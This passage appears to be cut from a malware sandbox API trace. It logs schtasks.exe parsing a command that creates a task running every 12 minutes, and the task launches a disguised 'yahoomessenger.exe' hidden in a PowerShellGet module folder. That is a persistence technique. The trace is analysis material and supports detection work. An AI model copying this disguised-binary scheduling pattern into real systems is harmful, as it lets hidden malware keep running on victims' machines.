\x09", wMatch=0x54) returned 0x0 [0067.090] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0067.090] GetLastError () returned 0x0 [0067.090] lstrlenW (lpString="MINUTE") returned 6 [0067.090] lstrlenW (lpString="MINUTE") returned 6 [0067.090] SetLastError (dwErrCode=0x0) [0067.090] SetLastError (dwErrCode=0x0) [0067.090] lstrlenW (lpString="/mo") returned 3 [0067.090] lstrlenW (lpString="-/") returned 2 [0067.090] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0067.090] lstrlenW (lpString="create") returned 6 [0067.090] lstrlenW (lpString="create") returned 6 [0067.090] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.091] lstrlenW (lpString="mo") returned 2 [0067.091] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.091] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|create|") returned 8 [0067.091] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|mo|") returned 4 [0067.091] lstrlenW (lpString="|create|") returned 8 [0067.091] lstrlenW (lpString="|mo|") returned 4 [0067.091] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0067.091] SetLastError (dwErrCode=0x490) [0067.091] lstrlenW (lpString="?") returned 1 [0067.091] lstrlenW (lpString="?") returned 1 [0067.091] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.091] lstrlenW (lpString="mo") returned 2 [0067.091] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.091] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|?|") returned 3 [0067.091] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|mo|") returned 4 [0067.091] lstrlenW (lpString="|?|") returned 3 [0067.091] lstrlenW (lpString="|mo|") returned 4 [0067.091] SetLastError (dwErrCode=0x490) [0067.091] lstrlenW (lpString="s") returned 1 [0067.091] lstrlenW (lpString="s") returned 1 [0067.091] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.091] lstrlenW (lpString="mo") returned 2 [0067.091] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.092] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|s|") returned 3 [0067.092] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|mo|") returned 4 [0067.092] lstrlenW (lpString="|s|") returned 3 [0067.092] lstrlenW (lpString="|mo|") returned 4 [0067.092] SetLastError (dwErrCode=0x490) [0067.092] lstrlenW (lpString="u") returned 1 [0067.092] lstrlenW (lpString="u") returned 1 [0067.092] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.092] lstrlenW (lpString="mo") returned 2 [0067.092] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.092] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|u|") returned 3 [0067.092] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|mo|") returned 4 [0067.092] lstrlenW (lpString="|u|") returned 3 [0067.092] lstrlenW (lpString="|mo|") returned 4 [0067.092] SetLastError (dwErrCode=0x490) [0067.092] lstrlenW (lpString="p") returned 1 [0067.092] lstrlenW (lpString="p") returned 1 [0067.092] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.092] lstrlenW (lpString="mo") returned 2 [0067.092] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.092] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|p|") returned 3 [0067.092] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|mo|") returned 4 [0067.092] lstrlenW (lpString="|p|") returned 3 [0067.093] lstrlenW (lpString="|mo|") returned 4 [0067.093] SetLastError (dwErrCode=0x490) [0067.093] lstrlenW (lpString="ru") returned 2 [0067.093] lstrlenW (lpString="ru") returned 2 [0067.093] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.093] lstrlenW (lpString="mo") returned 2 [0067.093] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.093] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|ru|") returned 4 [0067.093] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|mo|") returned 4 [0067.093] lstrlenW (lpString="|ru|") returned 4 [0067.093] lstrlenW (lpString="|mo|") returned 4 [0067.093] StrStrIW (lpFirst="|ru|", lpSrch="|mo|") returned 0x0 [0067.093] SetLastError (dwErrCode=0x490) [0067.093] lstrlenW (lpString="rp") returned 2 [0067.093] lstrlenW (lpString="rp") returned 2 [0067.093] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.093] lstrlenW (lpString="mo") returned 2 [0067.093] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.093] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|rp|") returned 4 [0067.093] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|mo|") returned 4 [0067.093] lstrlenW (lpString="|rp|") returned 4 [0067.093] lstrlenW (lpString="|mo|") returned 4 [0067.093] StrStrIW (lpFirst="|rp|", lpSrch="|mo|") returned 0x0 [0067.094] SetLastError (dwErrCode=0x490) [0067.094] lstrlenW (lpString="sc") returned 2 [0067.094] lstrlenW (lpString="sc") returned 2 [0067.094] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.094] lstrlenW (lpString="mo") returned 2 [0067.094] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.094] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|sc|") returned 4 [0067.094] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|mo|") returned 4 [0067.094] lstrlenW (lpString="|sc|") returned 4 [0067.094] lstrlenW (lpString="|mo|") returned 4 [0067.094] StrStrIW (lpFirst="|sc|", lpSrch="|mo|") returned 0x0 [0067.094] SetLastError (dwErrCode=0x490) [0067.094] lstrlenW (lpString="mo") returned 2 [0067.094] lstrlenW (lpString="mo") returned 2 [0067.094] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.094] lstrlenW (lpString="mo") returned 2 [0067.094] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.094] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|mo|") returned 4 [0067.094] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|mo|") returned 4 [0067.094] lstrlenW (lpString="|mo|") returned 4 [0067.094] lstrlenW (lpString="|mo|") returned 4 [0067.095] StrStrIW (lpFirst="|mo|", lpSrch="|mo|") returned="|mo|" [0067.095] SetLastError (dwErrCode=0x0) [0067.095] SetLastError (dwErrCode=0x0) [0067.095] lstrlenW (lpString="12") returned 2 [0067.095] lstrlenW (lpString="-/") returned 2 [0067.095] StrChrIW (lpStart="-/", wMatch=0x31) returned 0x0 [0067.095] SetLastError (dwErrCode=0x490) [0067.095] SetLastError (dwErrCode=0x490) [0067.095] SetLastError (dwErrCode=0x0) [0067.095] lstrlenW (lpString="12") returned 2 [0067.095] StrChrIW (lpStart="12", wMatch=0x3a) returned 0x0 [0067.095] SetLastError (dwErrCode=0x490) [0067.095] SetLastError (dwErrCode=0x0) [0067.095] _memicmp (_Buf1=0x18d720, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.095] lstrlenW (lpString="12") returned 2 [0067.095] lstrlenW (lpString="12") returned 2 [0067.095] lstrlenW (lpString=" \x09") returned 2 [0067.095] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0067.095] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0067.095] StrChrW (lpStart=" \x09", wMatch=0x32) returned 0x0 [0067.095] GetLastError () returned 0x0 [0067.095] lstrlenW (lpString="12") returned 2 [0067.095] lstrlenW (lpString="12") returned 2 [0067.095] GetProcessHeap () returned 0x170000 [0067.095] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x6) returned 0x1855f0 [0067.095] SetLastError (dwErrCode=0x0) [0067.095] SetLastError (dwErrCode=0x0) [0067.096] lstrlenW (lpString="/tr") returned 3 [0067.096] lstrlenW (lpString="-/") returned 2 [0067.096] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0067.096] lstrlenW (lpString="create") returned 6 [0067.096] lstrlenW (lpString="create") returned 6 [0067.096] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.096] lstrlenW (lpString="tr") returned 2 [0067.096] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.096] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|create|") returned 8 [0067.096] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|tr|") returned 4 [0067.096] lstrlenW (lpString="|create|") returned 8 [0067.096] lstrlenW (lpString="|tr|") returned 4 [0067.096] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0067.096] SetLastError (dwErrCode=0x490) [0067.096] lstrlenW (lpString="?") returned 1 [0067.096] lstrlenW (lpString="?") returned 1 [0067.096] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.096] lstrlenW (lpString="tr") returned 2 [0067.096] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.096] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|?|") returned 3 [0067.096] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|tr|") returned 4 [0067.096] lstrlenW (lpString="|?|") returned 3 [0067.096] lstrlenW (lpString="|tr|") returned 4 [0067.096] SetLastError (dwErrCode=0x490) [0067.097] lstrlenW (lpString="s") returned 1 [0067.097] lstrlenW (lpString="s") returned 1 [0067.097] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.097] lstrlenW (lpString="tr") returned 2 [0067.097] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.097] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|s|") returned 3 [0067.097] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|tr|") returned 4 [0067.097] lstrlenW (lpString="|s|") returned 3 [0067.097] lstrlenW (lpString="|tr|") returned 4 [0067.097] SetLastError (dwErrCode=0x490) [0067.097] lstrlenW (lpString="u") returned 1 [0067.097] lstrlenW (lpString="u") returned 1 [0067.097] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.097] lstrlenW (lpString="tr") returned 2 [0067.097] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.097] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|u|") returned 3 [0067.097] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|tr|") returned 4 [0067.097] lstrlenW (lpString="|u|") returned 3 [0067.097] lstrlenW (lpString="|tr|") returned 4 [0067.097] SetLastError (dwErrCode=0x490) [0067.097] lstrlenW (lpString="p") returned 1 [0067.097] lstrlenW (lpString="p") returned 1 [0067.097] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.098] lstrlenW (lpString="tr") returned 2 [0067.098] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.098] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|p|") returned 3 [0067.098] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|tr|") returned 4 [0067.098] lstrlenW (lpString="|p|") returned 3 [0067.098] lstrlenW (lpString="|tr|") returned 4 [0067.098] SetLastError (dwErrCode=0x490) [0067.098] lstrlenW (lpString="ru") returned 2 [0067.098] lstrlenW (lpString="ru") returned 2 [0067.098] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.098] lstrlenW (lpString="tr") returned 2 [0067.098] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.098] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|ru|") returned 4 [0067.098] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|tr|") returned 4 [0067.098] lstrlenW (lpString="|ru|") returned 4 [0067.098] lstrlenW (lpString="|tr|") returned 4 [0067.098] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0067.098] SetLastError (dwErrCode=0x490) [0067.098] lstrlenW (lpString="rp") returned 2 [0067.098] lstrlenW (lpString="rp") returned 2 [0067.098] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.098] lstrlenW (lpString="tr") returned 2 [0067.098] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.099] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|rp|") returned 4 [0067.099] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|tr|") returned 4 [0067.099] lstrlenW (lpString="|rp|") returned 4 [0067.099] lstrlenW (lpString="|tr|") returned 4 [0067.099] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0067.099] SetLastError (dwErrCode=0x490) [0067.099] lstrlenW (lpString="sc") returned 2 [0067.099] lstrlenW (lpString="sc") returned 2 [0067.099] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.099] lstrlenW (lpString="tr") returned 2 [0067.099] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.099] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|sc|") returned 4 [0067.099] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|tr|") returned 4 [0067.099] lstrlenW (lpString="|sc|") returned 4 [0067.099] lstrlenW (lpString="|tr|") returned 4 [0067.099] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0067.099] SetLastError (dwErrCode=0x490) [0067.099] lstrlenW (lpString="mo") returned 2 [0067.099] lstrlenW (lpString="mo") returned 2 [0067.099] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.099] lstrlenW (lpString="tr") returned 2 [0067.099] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.099] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|mo|") returned 4 [0067.100] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|tr|") returned 4 [0067.100] lstrlenW (lpString="|mo|") returned 4 [0067.100] lstrlenW (lpString="|tr|") returned 4 [0067.100] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0067.100] SetLastError (dwErrCode=0x490) [0067.100] lstrlenW (lpString="d") returned 1 [0067.100] lstrlenW (lpString="d") returned 1 [0067.100] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.100] lstrlenW (lpString="tr") returned 2 [0067.100] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.100] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|d|") returned 3 [0067.100] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|tr|") returned 4 [0067.100] lstrlenW (lpString="|d|") returned 3 [0067.100] lstrlenW (lpString="|tr|") returned 4 [0067.100] SetLastError (dwErrCode=0x490) [0067.100] lstrlenW (lpString="m") returned 1 [0067.100] lstrlenW (lpString="m") returned 1 [0067.100] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.100] lstrlenW (lpString="tr") returned 2 [0067.100] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.100] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|m|") returned 3 [0067.100] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|tr|") returned 4 [0067.100] lstrlenW (lpString="|m|") returned 3 [0067.100] lstrlenW (lpString="|tr|") returned 4 [0067.101] SetLastError (dwErrCode=0x490) [0067.101] lstrlenW (lpString="i") returned 1 [0067.101] lstrlenW (lpString="i") returned 1 [0067.101] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.101] lstrlenW (lpString="tr") returned 2 [0067.101] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.101] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|i|") returned 3 [0067.101] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|tr|") returned 4 [0067.101] lstrlenW (lpString="|i|") returned 3 [0067.101] lstrlenW (lpString="|tr|") returned 4 [0067.101] SetLastError (dwErrCode=0x490) [0067.101] lstrlenW (lpString="tn") returned 2 [0067.101] lstrlenW (lpString="tn") returned 2 [0067.101] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.101] lstrlenW (lpString="tr") returned 2 [0067.101] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.101] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|tn|") returned 4 [0067.101] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|tr|") returned 4 [0067.101] lstrlenW (lpString="|tn|") returned 4 [0067.101] lstrlenW (lpString="|tr|") returned 4 [0067.101] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0067.101] SetLastError (dwErrCode=0x490) [0067.101] lstrlenW (lpString="tr") returned 2 [0067.102] lstrlenW (lpString="tr") returned 2 [0067.102] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.102] lstrlenW (lpString="tr") returned 2 [0067.102] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.102] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|tr|") returned 4 [0067.102] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|tr|") returned 4 [0067.102] lstrlenW (lpString="|tr|") returned 4 [0067.102] lstrlenW (lpString="|tr|") returned 4 [0067.102] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0067.102] SetLastError (dwErrCode=0x0) [0067.102] SetLastError (dwErrCode=0x0) [0067.102] lstrlenW (lpString="'C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\en-US\\yahoomessenger.exe'") returned 97 [0067.102] lstrlenW (lpString="-/") returned 2 [0067.102] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0067.102] SetLastError (dwErrCode=0x490) [0067.102] SetLastError (dwErrCode=0x490) [0067.102] SetLastError (dwErrCode=0x0) [0067.102] lstrlenW (lpString="'C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\en-US\\yahoomessenger.exe'") returned 97 [0067.102] StrChrIW (lpStart="'C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\en-US\\yahoomessenger.exe'", wMatch=0x3a) returned=":\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\en-US\\yahoomessenger.exe'" [0067.102] lstrlenW (lpString="'C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\en-US\\yahoomessenger.exe'") returned 97 [0067.102] _memicmp (_Buf1=0x18c4f0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.102] _memicmp (_Buf1=0x18c530, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.102] SetLastError (dwErrCode=0x7a) [0067.103] SetLastError (dwErrCode=0x0) [0067.103] SetLastError (dwErrCode=0x0) [0067.103] lstrlenW (lpString="'C") returned 2 [0067.103] lstrlenW (lpString="-/") returned 2 [0067.103] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0067.103] SetLastError (dwErrCode=0x490) [0067.103] SetLastError (dwErrCode=0x490) [0067.103] SetLastError (dwErrCode=0x0) [0067.103] _memicmp (_Buf1=0x18d720, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.103] lstrlenW (lpString="'C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\en-US\\yahoomessenger.exe'") returned 97 [0067.103] GetProcessHeap () returned 0x170000 [0067.103] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18d740) returned 1 [0067.103] GetProcessHeap () returned 0x170000 [0067.103] RtlReAllocateHeap (Heap=0x170000, Flags=0xc, Ptr=0x18d740, Size=0xc4) returned 0x18c620 [0067.103] lstrlenW (lpString="'C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\en-US\\yahoomessenger.exe'") returned 97 [0067.103] lstrlenW (lpString=" \x09") returned 2 [0067.103] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0067.103] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0067.103] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0067.103] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0067.103] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0067.103] StrChrW (lpStart=" \x09", wMatch=0x50) returned 0x0 [0067.103] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0067.103] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0067.104] StrChrW (lpStart=" \x09", wMatch=0x67) returned 0x0 [0067.104] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0067.104] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0067.104] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0067.104] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0067.104] StrChrW (lpStart=" \x09", wMatch=0x46) returned 0x0 [0067.104] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0067.104] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0067.104] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0067.104] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0067.104] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0067.104] StrChrW (lpStart=" \x09", wMatch=0x28) returned 0x0 [0067.104] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0067.104] StrChrW (lpStart=" \x09", wMatch=0x38) returned 0x0 [0067.104] StrChrW (lpStart=" \x09", wMatch=0x36) returned 0x0 [0067.104] StrChrW (lpStart=" \x09", wMatch=0x29) returned 0x0 [0067.104] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0067.104] StrChrW (lpStart=" \x09", wMatch=0x57) returned 0x0 [0067.104] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0067.104] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0067.104] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0067.104] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0067.104] StrChrW (lpStart=" \x09", wMatch=0x77) returned 0x0 [0067.104] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0067.104] StrChrW (lpStart=" \x09", wMatch=0x50) returned 0x0 [0067.105] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0067.105] StrChrW (lpStart=" \x09", wMatch=0x77) returned 0x0 [0067.105] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0067.105] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0067.105] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0067.105] StrChrW (lpStart=" \x09", wMatch=0x68) returned 0x0 [0067.105] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0067.105] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0067.105] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0067.105] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0067.105] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0067.105] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0067.105] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0067.105] StrChrW (lpStart=" \x09", wMatch=0x75) returned 0x0 [0067.105] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0067.105] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0067.105] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0067.105] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0067.105] StrChrW (lpStart=" \x09", wMatch=0x50) returned 0x0 [0067.105] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0067.105] StrChrW (lpStart=" \x09", wMatch=0x77) returned 0x0 [0067.105] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0067.105] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0067.105] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0067.105] StrChrW (lpStart=" \x09", wMatch=0x68) returned 0x0 [0067.105] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0067.106] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0067.106] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0067.106] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0067.106] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0067.106] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0067.106] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0067.106] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0067.106] StrChrW 